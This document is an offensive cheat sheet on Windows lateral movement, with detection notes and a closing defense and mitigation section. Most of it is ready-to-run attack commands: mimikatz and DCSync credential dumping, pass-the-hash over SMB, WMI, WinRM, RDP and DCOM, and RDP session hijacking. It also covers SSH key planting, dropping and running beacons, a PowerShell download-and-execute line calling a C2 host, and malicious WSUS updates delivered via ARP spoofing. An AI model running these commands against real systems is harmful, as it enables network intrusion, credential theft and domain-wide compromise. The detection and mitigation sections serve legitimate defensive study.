Legend:
[WIN]= Windows attacker machine |[LIN]= Linux/Impacket |[PTH]= Pass-the-Hash |[PTT]= Pass-the-Ticket |[NOISY]= Leaves heavy artifacts
1. Introduction — Lateral Movement Concepts
What it means: Lateral movement is the process of pivoting from one compromised machine to other machines in the network. After gaining initial access, your current position rarely has the access you need — lateral movement gets you closer to high-value targets like DCs, databases, and file servers. Every lateral movement technique abuses a legitimate Windows remote execution protocol.
Attacker
│
▼
Compromised WS01 (low priv foothold)
│
├──[SMB/PsExec]──► WS02 (lateral to another workstation)
│
├──[WMI/WinRM]──► SRV01 (move to a server)
│
└──[RDP/DCOM]───► DC01 (reach the Domain Controller)
Credential Material Types
| Material | What It Is | PTH Support |
|---|---|---|
| Plaintext password | The actual password in clear text | N/A — use directly |
| NTLM hash | MD4(UTF16LE(password)) | ✅ Most protocols |
| Kerberos TGT | Ticket Granting Ticket from DC | Pass-the-Ticket |
| Kerberos TGS | Service-specific ticket | Pass-the-Ticket |
| AES256/AES128 key | Kerberos session key | Overpass-the-Hash |
How to Get Credential Material
# From LSASS (requires local admin / SYSTEM)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# DCSync (requires DA or DCSync rights)
mimikatz.exe "lsadump::dcsync /domain:lab.local /all /csv" exit
# Impacket from Linux
secretsdump.py lab.local/da_user:Pass123!@<DC_IP>
# Via Sliver
[session] sliver > execute-assembly Mimikatz.exe \
"privilege::debug sekurlsa::logonpasswords exit"
2. Remote Services
2.1 Remote Desktop Protocol (RDP)
What it means: RDP (port 3389) provides a full interactive graphical session on the remote machine. It's one of the noisiest lateral movement techniques but provides the most user-friendly interface. You can authenticate with passwords, NTLM hashes (via Restricted Admin Mode), or Kerberos tickets. RDP sessions generate significant event logs.
Check if RDP is Enabled
# Check if RDP is enabled on target
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
# 0 = RDP enabled | 1 = RDP disabled
# Check via WMI
Get-WmiObject -Class Win32_TerminalServiceSetting -Namespace root\cimv2\TerminalServices |
Select AllowTSConnections
# Nmap RDP scan
nmap -p 3389 --script rdp-enum-encryption <TARGET_IP>
Enable RDP (Requires Admin)
:: Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
:: Allow RDP through Windows Firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
:: Add user to Remote Desktop Users group
net localgroup "Remote Desktop Users" attacker /add
Connect via RDP — Standard (Password)
# Linux — xfreerdp (recommended)
xfreerdp /u:Administrator /p:'Pass123!' /v:<TARGET_IP>
xfreerdp /u:Administrator /p:'Pass123!' /v:<TARGET_IP> /cert:ignore
# With domain
xfreerdp /u:lab.local\\Administrator /p:'Pass123!' /v:<TARGET_IP> /cert:ignore
# rdesktop (older alternative)
rdesktop -u Administrator -p 'Pass123!' <TARGET_IP>
:: Windows — mstsc
mstsc /v:<TARGET_IP>
Pass-the-Hash via RDP
Requires: Restricted Admin Mode enabled on the target (allows PTH for RDP).
# Linux — xfreerdp with NTLM hash
xfreerdp /u:Administrator /pth:<NTLM_HASH> /v:<TARGET_IP> /cert:ignore
# Windows — must enable Restricted Admin Mode on target first
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
# Then connect using mimikatz sekurlsa::pth
:: Mimikatz — spawn RDP session via Pass-the-Hash
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:lab.local /ntlm:<NTLM_HASH> /run:mstsc.exe" exit
RDP Session Hijacking (No Credentials Needed — SYSTEM Only)
:: List active RDP sessions (from SYSTEM context)
query session /server:<TARGET_IP>
:: Hijack session without a password (requires SYSTEM)
tscon <SESSION_ID> /dest:<OUR_SESSION_NAME>
:: Via service (if not already SYSTEM)
sc create hijack binPath= "cmd /k tscon <SESSION_ID> /dest:rdp-tcp#<OUR_ID>"
sc start hijack
⚠️ Detection: Event ID 4624 (Logon Type 10), 4778/4779 (session connect/disconnect).
TerminalServices-LocalSessionManagerevent log captures all RDP activity.
2.2 Server Message Block (SMB)
What it means: SMB (port 445) is used for file sharing and remote administration.
Most lateral movement techniques (PsExec, smbexec, atexec) tunnel through SMB.
It requires the target to have admin shares (C$, ADMIN$) accessible — which is the default
in domain environments.
Check SMB Connectivity
# Test if SMB admin shares are accessible
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!'
crackmapexec smb <TARGET_IP> -u Administrator -H <NTLM_HASH>
# List shares
smbclient.py lab.local/Administrator:Pass123!@<TARGET_IP>
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' --shares
# Check SMB signing (unsigned = vulnerable to relay)
crackmapexec smb <SUBNET>/24 --gen-relay-list unsigned_targets.txt
PsExec (Upload Service Binary — ADMIN$)
# Impacket psexec — semi-interactive shell via SMB service
psexec.py lab.local/Administrator:Pass123!@<TARGET_IP>
# Pass-the-Hash
psexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>
# Execute specific command
psexec.py lab.local/Administrator:Pass123!@<TARGET_IP> "cmd.exe /c whoami"
:: Windows SysInternals PsExec
PsExec.exe \\<TARGET_IP> -u Administrator -p 'Pass123!' cmd
PsExec.exe \\<TARGET_IP> -u lab\Administrator -p 'Pass123!' cmd
:: Run as SYSTEM
PsExec.exe \\<TARGET_IP> -u Administrator -p 'Pass123!' -s cmd
SMBExec (No Binary Written to Disk — Stealthier)
# smbexec — executes commands via service without writing an exe
smbexec.py lab.local/Administrator:Pass123!@<TARGET_IP>
smbexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>
ATExec (Scheduled Task via SMB)
# atexec — creates a scheduled task to run a single command
atexec.py lab.local/Administrator:Pass123!@<TARGET_IP> "whoami"
atexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP> "whoami"
CrackMapExec — Run Commands via SMB
# Execute command on single target
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' -x "whoami"
# Execute PowerShell command
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' -X "Get-Process"
# Deliver and execute a beacon
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' \
-x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://<C2_IP>:8080/run.ps1')"
# Scan entire subnet
crackmapexec smb <SUBNET>/24 -u Administrator -p 'Pass123!' --exec-method smbexec -x whoami
# PTH on entire subnet
crackmapexec smb <SUBNET>/24 -u Administrator -H <NTLM_HASH> -x whoami
SMB File Transfer (Drop Beacon)
# Upload beacon to target
smbclient.py lab.local/Administrator:Pass123!@<TARGET_IP>
# smb > put beacon.exe Windows\Temp\beacon.exe
# Or via crackmapexec
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' \
--put-file /tmp/beacon.exe \\Windows\\Temp\\beacon.exe
# Then execute
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' \
-x "C:\\Windows\\Temp\\beacon.exe"
⚠️ Detection: Event IDs 4624/4625 (logon), 7045 (new service installed — PsExec), 5140 (network share object accessed). PsExec is the NOISIEST — creates a service. smbexec is stealthier. atexec leaves scheduled task artifacts.
2.3 Windows Management Instrumentation (WMI)
What it means: WMI (port 135 for initial connection, then high dynamic port) provides
a powerful management interface for querying and executing processes on Windows machines.
wmiexec creates a process via WMI's Win32_Process.Create() — no service installation,
no file written, results returned via a writable SMB share. Stealthier than PsExec.
WMI Execution — Linux (Impacket)
# wmiexec — interactive semi-shell
wmiexec.py lab.local/Administrator:Pass123!@<TARGET_IP>
# Pass-the-Hash
wmiexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>
# Single command execution
wmiexec.py lab.local/Administrator:Pass123!@<TARGET_IP> "cmd /c whoami"
# Kerberos auth
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass lab.local/Administrator@<TARGET_IP>
WMI Execution — Windows (wmic)
:: Execute process on remote machine
wmic /node:<TARGET_IP> /user:"lab\Administrator" /password:"Pass123!" \
process call create "cmd.exe /c C:\Windows\Temp\beacon.exe"
:: PowerShell WMI
Invoke-WmiMethod -Class Win32_Process -Name Create \
-ArgumentList "cmd.exe /c C:\Windows\Temp\beacon.exe" \
-ComputerName <TARGET_IP> \
-Credential (Get-Credential)
WMI via CIM Session
# Create CIM session
$cred = New-Object System.Management.Automation.PSCredential(
"lab\Administrator",
(ConvertTo-SecureString "Pass123!" -AsPlainText -Force))
$session = New-CimSession -ComputerName <TARGET_IP> -Credential $cred
# Execute process via CIM
Invoke-CimMethod -CimSession $session \
-ClassName Win32_Process \
-MethodName Create \
-Arguments @{CommandLine="cmd.exe /c C:\Windows\Temp\beacon.exe"}
# Query running processes
Get-CimInstance -CimSession $session -ClassName Win32_Process | Select Name, ProcessId
WMI Event Subscription (Persistence + Lateral Movement)
# Create a WMI event subscription that runs a command on next logon
# Can also be used to execute on a REMOTE machine via -ComputerName
$Filter = Set-WmiInstance -Namespace root\subscription \
-Class __EventFilter \
-Arguments @{
Name="EvilFilter"
QueryLanguage="WQL"
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
} -ComputerName <TARGET_IP> -Credential $cred
$Consumer = Set-WmiInstance -Namespace root\subscription \
-Class CommandLineEventConsumer \
-Arguments @{
Name="EvilConsumer"
CommandLineTemplate="C:\Windows\Temp\beacon.exe"
} -ComputerName <TARGET_IP> -Credential $cred
⚠️ Detection: Event ID 4688 (process creation via WMI), Sysmon Event 1 (WmiPrvSE.exe spawning child processes). WMI activity logged in
Microsoft-Windows-WMI-Activity/Operational.
2.4 Windows Remote Management (WinRM)
What it means: WinRM (Windows Remote Management, port 5985 HTTP / 5986 HTTPS) is Microsoft's
implementation of WS-Management. It powers PowerShell Remoting. It is a clean, modern, and
increasingly popular lateral movement channel because it blends in with legitimate admin traffic.
evil-winrm provides a full interactive shell over WinRM.
Check WinRM Availability
# CrackMapExec — check WinRM
crackmapexec winrm <TARGET_IP> -u Administrator -p 'Pass123!'
crackmapexec winrm <TARGET_IP> -u Administrator -H <NTLM_HASH>
# Nmap
nmap -p 5985,5986 <TARGET_IP>
evil-winrm (Linux — Interactive Shell)
# Password auth
evil-winrm -i <TARGET_IP> -u Administrator -p 'Pass123!'
# Pass-the-Hash
evil-winrm -i <TARGET_IP> -u Administrator -H <NTLM_HASH>
# With SSL (port 5986)
evil-winrm -i <TARGET_IP> -u Administrator -p 'Pass123!' -S
# Kerberos auth
evil-winrm -i <TARGET_IP> -u Administrator -r lab.local
# Upload/download
evil-winrm > upload /local/beacon.exe C:\Windows\Temp\beacon.exe
evil-winrm > download C:\Windows\Temp\output.txt /local/output.txt
# Run scripts in memory
evil-winrm -i <TARGET_IP> -u Administrator -p 'Pass123!' \
-s /opt/PowerSploit/ # load .ps1 files from directory
PowerShell Remoting (Windows — winrs / Invoke-Command)
:: winrs — one-liner remote command
winrs -r:<TARGET_IP> -u:lab\Administrator -p:Pass123! "whoami"
winrs -r:<TARGET_IP> -u:lab\Administrator -p:Pass123! "cmd.exe"
# Invoke-Command — run a script block remotely
$cred = New-Object System.Management.Automation.PSCredential(
"lab\Administrator",
(ConvertTo-SecureString "Pass123!" -AsPlainText -Force))
# Single command
Invoke-Command -ComputerName <TARGET_IP> -Credential $cred \
-ScriptBlock { whoami; hostname }
# Run a local script on the remote machine
Invoke-Command -ComputerName <TARGET_IP> -Credential $cred \
-FilePath C:\local\script.ps1
# Interactive PSSession
$session = New-PSSession -ComputerName <TARGET_IP> -Credential $cred
Enter-PSSession -Session $session
# Send files via PSSession
Copy-Item -Path C:\local\beacon.exe \
-Destination C:\Windows\Temp\beacon.exe \
-ToSession $session
WinRM Pass-the-Ticket (Kerberos)
# Get ticket and use for WinRM
export KRB5CCNAME=Administrator.ccache
evil-winrm -i dc01.lab.local -u Administrator -r lab.local
⚠️ Detection: Event ID 4624 (Logon Type 3), 4688 (wsmprovhost.exe spawning commands). Sysmon — PowerShell network connection to port 5985/5986. Logs:
Microsoft-Windows-WinRM/Operational.
2.5 Distributed Component Object Model (DCOM)
What it means: DCOM extends COM (Component Object Model) to work over a network. Many
built-in Windows applications expose DCOM interfaces that can be invoked remotely to run
arbitrary commands. The key ones are MMC20.Application, ShellBrowserWindow, and
ShellWindows. These are legitimate Windows features — DCOM traffic blends with normal
administrative activity and is hard to detect.
Requires: Local admin on the remote target. Port 135 (RPC mapper) + high dynamic port.
MMC20.Application (Works on All Windows Versions)
# Create MMC20.Application COM object on the remote machine
$com = [Activator]::CreateInstance(
[Type]::GetTypeFromProgID("MMC20.Application","<TARGET_IP>"))
# Execute a command via ExecuteShellCommand
$com.Document.ActiveView.ExecuteShellCommand(
"cmd.exe",
$null,
"/c C:\Windows\Temp\beacon.exe",
"Minimized")
ShellBrowserWindow (Windows 10 / Server 2012 R2+)
# Instantiate ShellBrowserWindow on remote target
$com = [Activator]::CreateInstance(
[Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<TARGET_IP>"))
# Execute command
$com.Document.Application.ShellExecute(
"cmd.exe",
"/c C:\Windows\Temp\beacon.exe",
"C:\Windows\System32",
$null,
0)
ShellWindows (Windows 7+)
# Instantiate ShellWindows on remote target
$com = [Activator]::CreateInstance(
[Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","<TARGET_IP>"))
# Get an Item to execute
$item = $com.Item()
$item.Document.Application.ShellExecute(
"cmd.exe",
"/c C:\Windows\Temp\beacon.exe",
"C:\Windows\System32",
$null,
0)
DCOM via Impacket (dcomexec)
# dcomexec — interactive DCOM shell (ShellBrowserWindow method)
dcomexec.py lab.local/Administrator:Pass123!@<TARGET_IP>
# Pass-the-Hash
dcomexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>
# Choose DCOM object
dcomexec.py lab.local/Administrator:Pass123!@<TARGET_IP> \
-object MMC20 # or ShellWindows or ShellBrowserWindow
# Execute specific command
dcomexec.py lab.local/Administrator:Pass123!@<TARGET_IP> "whoami"
CrackMapExec DCOM Exec
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' \
--exec-method mmcexec -x "whoami"
⚠️ Detection: Sysmon Event 1 —
mmc.exeorexplorer.exespawning unusual child processes. Event 4688 — child processes ofmmc.exe. Network: RPC/DCOM traffic on 135 + high dynamic ports. Hunt forExecuteShellCommandin PowerShell script block logs (4104).
2.6 Secure Shell (SSH)
What it means: SSH is now natively available on Windows 10/Server 2019+ (OpenSSH installed by default). If an SSH service is running on a Windows machine (port 22), it can be abused for lateral movement exactly as on Linux — with password auth, key-based auth, or key hijacking.
Check if SSH is Running
# Scan for SSH
nmap -p 22 <TARGET_IP>
crackmapexec ssh <TARGET_IP> -u Administrator -p 'Pass123!'
Connect via SSH
# Linux → Windows via SSH
ssh Administrator@<TARGET_IP>
ssh lab\\Administrator@<TARGET_IP>
# With specific key
ssh -i /path/to/key Administrator@<TARGET_IP>
# Execute command
ssh Administrator@<TARGET_IP> "whoami && hostname"
SSH Key Hijacking (Lateral Movement)
# Find SSH authorized_keys on compromised Windows machine
# Common paths:
# C:\Users\<user>\.ssh\authorized_keys
# C:\ProgramData\ssh\administrators_authorized_keys (for admins)
# Add your public key to authorized_keys
echo "ssh-rsa AAAA... attacker@kali" >> C:\Users\Administrator\.ssh\authorized_keys
# Or steal existing private keys
cat C:\Users\Administrator\.ssh\id_rsa
Enable SSH Service (Requires Admin)
# Install OpenSSH server
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
# Start and enable SSH service
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
# Allow SSH through firewall
New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server' \
-Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22
⚠️ Detection: Event ID 4624 (Logon Type 3 — SSH network logon),
Microsoft-Windows-OpenSSH/Operationalevent log, Sysmon network events (port 22).
3. Remote Management Tools
3.1 Remote Management Tools
What it means: Beyond OS-native protocols, third-party remote management tools deployed by IT teams are prime lateral movement targets — they run as SYSTEM, are always on, and are usually whitelisted by AV. If you find credentials for these tools (from credential dumping, config files, or reuse), you can use them exactly as IT admins do.
Check for Installed RMM Tools
# Enumerate installed software
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select DisplayName, Publisher |
Where-Object { $_.DisplayName -ne $null }
# Check running services for known RMM names
Get-Service | Where-Object {
$_.DisplayName -match "TeamViewer|AnyDesk|Kaseya|Datto|ConnectWise|SolarWinds|Manage Engine|ScreenConnect"
}
# Check scheduled tasks
Get-ScheduledTask | Where-Object { $_.TaskPath -match "RMM|Remote" }
Common RMM Credential Locations
:: TeamViewer — credentials often stored in registry
reg query HKLM\SOFTWARE\TeamViewer /v SecurityPasswordExported
reg query HKCU\SOFTWARE\TeamViewer
:: AnyDesk — session logs
type "C:\ProgramData\AnyDesk\ad_svc.trace"
type "%APPDATA%\AnyDesk\ad.trace"
:: mRemoteNG — stores creds in an XML config
type "%APPDATA%\mRemoteNG\confCons.xml"
# Decrypt mRemoteNG passwords (if you have the confCons.xml)
python3 mremoteng_decrypt.py -f confCons.xml
PuTTY / WinSCP Credential Extraction
# PuTTY sessions stored in registry
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
# WinSCP credentials
reg query HKCU\Software\Martin_Prikryl\WinSCP 2\Sessions /s
3.2 Software Deployment Tools
What it means: Enterprise software deployment tools (SCCM/ConfigMgr, PDQ Deploy, Ansible, Puppet, Chef, Chocolatey) are used by IT to push software and run scripts to hundreds of machines at once. Compromising these tools often leads to mass lateral movement across every managed machine in the environment.
SCCM / ConfigMgr Abuse
# Find SCCM server
# Often found via AD SCP or DNS
nltest /dsgetdc:lab.local /force
nslookup sccm.lab.local
# SharpSCCM — enumerate and abuse SCCM from a domain user
SharpSCCM.exe local site-info # get local SCCM info
SharpSCCM.exe get devices # list managed devices
SharpSCCM.exe exec -d <DEVICE> -r cmd # run cmd on target device
# Enumerate SCCM managed devices
Get-WmiObject -Namespace root\ccm -ClassName SMS_Client
# If you have admin rights on SCCM:
# Create a "Software Deployment" that drops a beacon
# — Deploy via existing SCCM infrastructure to all machines in a collection
PDQ Deploy / Inventory
# PDQ stores credentials for deployment
# PDQ Deploy database: C:\ProgramData\Admin Arsenal\PDQ Deploy\Database.db
# If you have access to the PDQ console:
# Create a new "Package" that runs a PowerShell command on all machines
# Deploy → runs on every machine in the list as SYSTEM
Group Policy (GPO as Software Deployment)
# See DACL Attacks note — GPO abuse to execute code on all domain computers
# Push a scheduled task via GPO to all machines in an OU
SharpGPOAbuse.exe --AddComputerTask \
--TaskName "Update" \
--Command "cmd.exe" \
--Arguments "/c C:\Windows\Temp\beacon.exe" \
--GPOName "Default Domain Policy"
4. Windows Services — WSUS Abuse
What it means: Windows Server Update Services (WSUS) distributes Windows updates to domain machines. If WSUS is configured to use HTTP (not HTTPS), an attacker with a foothold on the network can perform a MITM attack to inject a fake "update" that runs arbitrary code as SYSTEM on target machines. Alternatively, with admin access to the WSUS server, you can directly push a malicious update using SharpWSUS.
Requires: Admin access to WSUS server (SharpWSUS) OR MITM on HTTP WSUS traffic (WSUSpendu).
Identify WSUS Configuration
# Find WSUS server via registry
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUStatusServer
# PowerShell
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate" |
Select WUServer, WUStatusServer
# BloodHound / LDAP — find WSUS server from AD
SharpWSUS — Admin Access Required
# Install SharpWSUS (GitHub: nettitude/SharpWSUS)
# Requires: admin on the WSUS server
# Step 1: Check WSUS server status and targets
SharpWSUS.exe check /payload:PsExec64.exe /args:"-accepteula -s -d cmd.exe /c 'whoami'"
# Step 2: Create a malicious update targeting a specific machine
SharpWSUS.exe create /payload:"C:\Windows\System32\cmd.exe" \
/args:"/c C:\\Windows\\Temp\\beacon.exe" \
/title:"Windows Defender Update" \
/targetmachine:<TARGET_HOSTNAME>
# Step 3: Approve the update for the target
SharpWSUS.exe approve /updateid:<UPDATE_GUID> /computername:<TARGET_HOSTNAME>
# Step 4: Check if update was applied
SharpWSUS.exe check /updateid:<UPDATE_GUID> /computername:<TARGET_HOSTNAME>
# Step 5: Clean up (delete the malicious update)
SharpWSUS.exe delete /updateid:<UPDATE_GUID>
WSUSpendu — HTTP MITM Attack
# Intercept HTTP WSUS traffic and inject a malicious update
# Requires: MITM position (ARP spoofing or rogue DHCP)
# Step 1: ARP spoof between victim and WSUS server
arpspoof -i eth0 -t <VICTIM_IP> <WSUS_SERVER_IP> &
arpspoof -i eth0 -t <WSUS_SERVER_IP> <VICTIM_IP> &
# Step 2: Inject fake update via WSUSpendu
./WSUSpendu.ps1 -Inject \
-PayloadFile "beacon.exe" \
-PayloadArgs "" \
-ComputerName <VICTIM_HOSTNAME>
⚠️ Key Limitation: WSUS can ONLY execute Microsoft-signed binaries — you can't run a random .exe directly. Use
PsExec64.exe(signed by Microsoft) with-sflag to run a command as SYSTEM, which can then execute your payload.
# Correct SharpWSUS payload using PsExec (Microsoft-signed)
SharpWSUS.exe create \
/payload:"PsExec64.exe" \
/args:"-accepteula -s -d cmd.exe /c 'C:\\Windows\\Temp\\beacon.exe'" \
/title:"Security Update KB5012345"
⚠️ Detection: Sigma rules trigger on SharpWSUS command-line patterns (
/payload:,/updateid:,create,check). Event ID 4688 on WSUS server. Monitorwuauclt.exespawning unexpected child processes.
5. General Considerations
What it means: Every lateral movement technique has different stealth profiles, detection footprints, and requirements. Choosing the right technique depends on what's available, what monitoring is in place, and how stealthy you need to be.
Opsec Comparison
| Technique | Port | Stealth | Service Created | File on Disk | Auth Support |
|---|---|---|---|---|---|
| PsExec | 445 | 🔴 Noisy | ✅ Yes (PSEXESVC) | ✅ Yes | Pass, PTH |
| smbexec | 445 | 🟡 Medium | ✅ Temp service | ❌ No | Pass, PTH |
| atexec | 445 | 🟡 Medium | ❌ Sched. Task | ❌ No | Pass, PTH |
| wmiexec | 135+dynamic | 🟢 Stealthy | ❌ No | ❌ No | Pass, PTH, Kerb |
| WinRM | 5985 | 🟢 Stealthy | ❌ No | ❌ No | Pass, PTH, Kerb |
| DCOM | 135+dynamic | 🟢 Stealthy | ❌ No | ❌ No | Pass, PTH |
| RDP | 3389 | 🔴 Noisy | ❌ No | ❌ No | Pass, PTH (RAM) |
| SSH | 22 | 🟢 Stealthy | ❌ No | ❌ No | Pass, Key |
| WSUS | Internal | 🟢 Very stealthy | ❌ No | ❌ No | Admin on WSUS |
Pre-Flight Checks Before Lateral Movement
# 1. Verify credentials first
crackmapexec smb <TARGET_IP> -u Administrator -H <NTLM_HASH>
# Should return [+] Pwn3d!
# 2. Check what ports are open
nmap -p 22,135,139,445,3389,5985,5986 <TARGET_IP>
# 3. Check AV/EDR status on target (if you have a session there)
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' \
-x "powershell Get-MpComputerStatus"
# 4. Check network segmentation
crackmapexec smb <SUBNET>/24 -u Administrator -H <NTLM_HASH>
Multi-Hop Lateral Movement
# Move through multiple hops using SOCKS proxy + Impacket
# Hop 1: Get a SOCKS proxy on WS01 (already compromised)
[session on WS01] sliver > socks5 start --port 1080
# Hop 2: Route traffic through WS01 to reach internal SRV01
proxychains4 wmiexec.py lab.local/Administrator:Pass123!@<SRV01_IP>
# From SRV01 shell, drop another beacon to create Hop 2 session
# Hop 3: Use Hop 2 SOCKS to reach DC
proxychains4 secretsdump.py lab.local/Administrator:Pass123!@<DC_IP>
Pass-the-Hash Quick Reference
# SMB
crackmapexec smb <TARGET> -u user -H <NTLM>
psexec.py -hashes :<NTLM> domain/user@<TARGET>
# WMI
wmiexec.py -hashes :<NTLM> domain/user@<TARGET>
# WinRM
evil-winrm -i <TARGET> -u user -H <NTLM>
# RDP
xfreerdp /u:user /pth:<NTLM> /v:<TARGET> /cert:ignore
# Kerberos (Overpass-the-Hash)
getTGT.py -hashes :<NTLM> domain/user -dc-ip <DC>
export KRB5CCNAME=user.ccache
wmiexec.py -k -no-pass domain/user@<TARGET>
6. Defense — Lateral Movement Prevention & Detection
Key Event IDs
| Event ID | Meaning | Protocol |
|---|---|---|
| 4624 | Successful logon (Type 3 = network, Type 10 = RDP) | All |
| 4625 | Failed logon | All |
| 4688 | New process created | WMI, DCOM, PSExec, smbexec |
| 4648 | Explicit credential logon (runas / network logon) | All |
| 4672 | Special privileges assigned (admin logon) | All |
| 5140 | Network share was accessed | SMB |
| 7045 | New service installed | PsExec, smbexec |
| 4698 | Scheduled task created | atexec, GPO |
| 4778/4779 | RDP session connect/disconnect | RDP |
| Sysmon 1 | Process creation with command line | All |
| Sysmon 3 | Network connection | WMI, DCOM, WinRM |
Detection Queries (Key Hunts)
# Hunt for PsExec (service PSEXESVC installed)
Get-WinEvent -LogName System |
Where-Object { $_.Id -eq 7045 -and $_.Message -match "PSEXESVC" }
# Hunt for WMI lateral movement (WmiPrvSE spawning children)
Get-WinEvent -LogName Security |
Where-Object { $_.Id -eq 4688 -and $_.Message -match "WmiPrvSE" }
# Hunt for Pass-the-Hash (Logon Type 3 with NTLM, from unusual source)
Get-WinEvent -LogName Security |
Where-Object { $_.Id -eq 4624 -and $_.Message -match "NTLM" }
# Hunt for RDP lateral movement
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" |
Where-Object { $_.Id -in @(21,25) }
Mitigations
| Attack | Mitigation |
|---|---|
| PsExec / SMB exec | Disable admin shares (AutoShareWks=0); firewall port 445 between workstations |
| Pass-the-Hash | Enable Protected Users group; disable NTLM where possible; enable Credential Guard |
| WMI lateral movement | Restrict WMI namespace permissions; firewall port 135 |
| WinRM | Disable WinRM on workstations; restrict via GPO to jump servers only |
| DCOM | Restrict DCOM permissions via Component Services; firewall 135 |
| RDP | Enable Network Level Authentication (NLA); disable Restricted Admin Mode |
| WSUS HTTP | Force WSUS over HTTPS; sign updates |
| RMM tool abuse | Rotate RMM credentials; monitor for unusual deployment activity |
| SSH | Require key-based auth only; disable password auth |
Network-Level Controls
# Block SMB between workstations (only allow to DC/servers)
# GPO: Computer Config → Windows Settings → Windows Firewall
# Block: TCP 445 inbound on workstations from other workstations
# Enable Credential Guard (prevents credential harvesting from LSASS)
# GPO: Computer Config → Admin Templates → Device Guard
# Enable "Turn on Virtualization Based Security"
# Limit local admin accounts (reduce PTH surface)
# Use LAPS (Local Administrator Password Solution) — unique password per machine
# Microsoft LAPS: https://aka.ms/laps
7. Lateral Movement Comparison Table
| Technique | Port | Requires | Leaves Service | File Dropped | Best For |
|---|---|---|---|---|---|
| PsExec (Impacket) | 445 | Admin share | ✅ PSEXESVC | ✅ | Quick shell — noisy |
| smbexec | 445 | Admin share | ✅ Temp | ❌ | Stealthier than PsExec |
| atexec | 445 | Admin share | ❌ Sched task | ❌ | Single command |
| wmiexec | 135+ | Admin | ❌ | ❌ | Preferred — stealthy |
| WinRM/evil-winrm | 5985 | WinRM enabled | ❌ | ❌ | Interactive shell |
| DCOM (MMC20) | 135+ | Admin | ❌ | ❌ | Very stealthy |
| RDP | 3389 | RDP enabled | ❌ | ❌ | GUI access |
| SSH | 22 | OpenSSH | ❌ | ❌ | Linux-style access |
| WSUS | Internal | WSUS admin | ❌ | ❌ | Mass deployment |
| SCCM | Internal | SCCM admin | ❌ | ❌ | Mass deployment |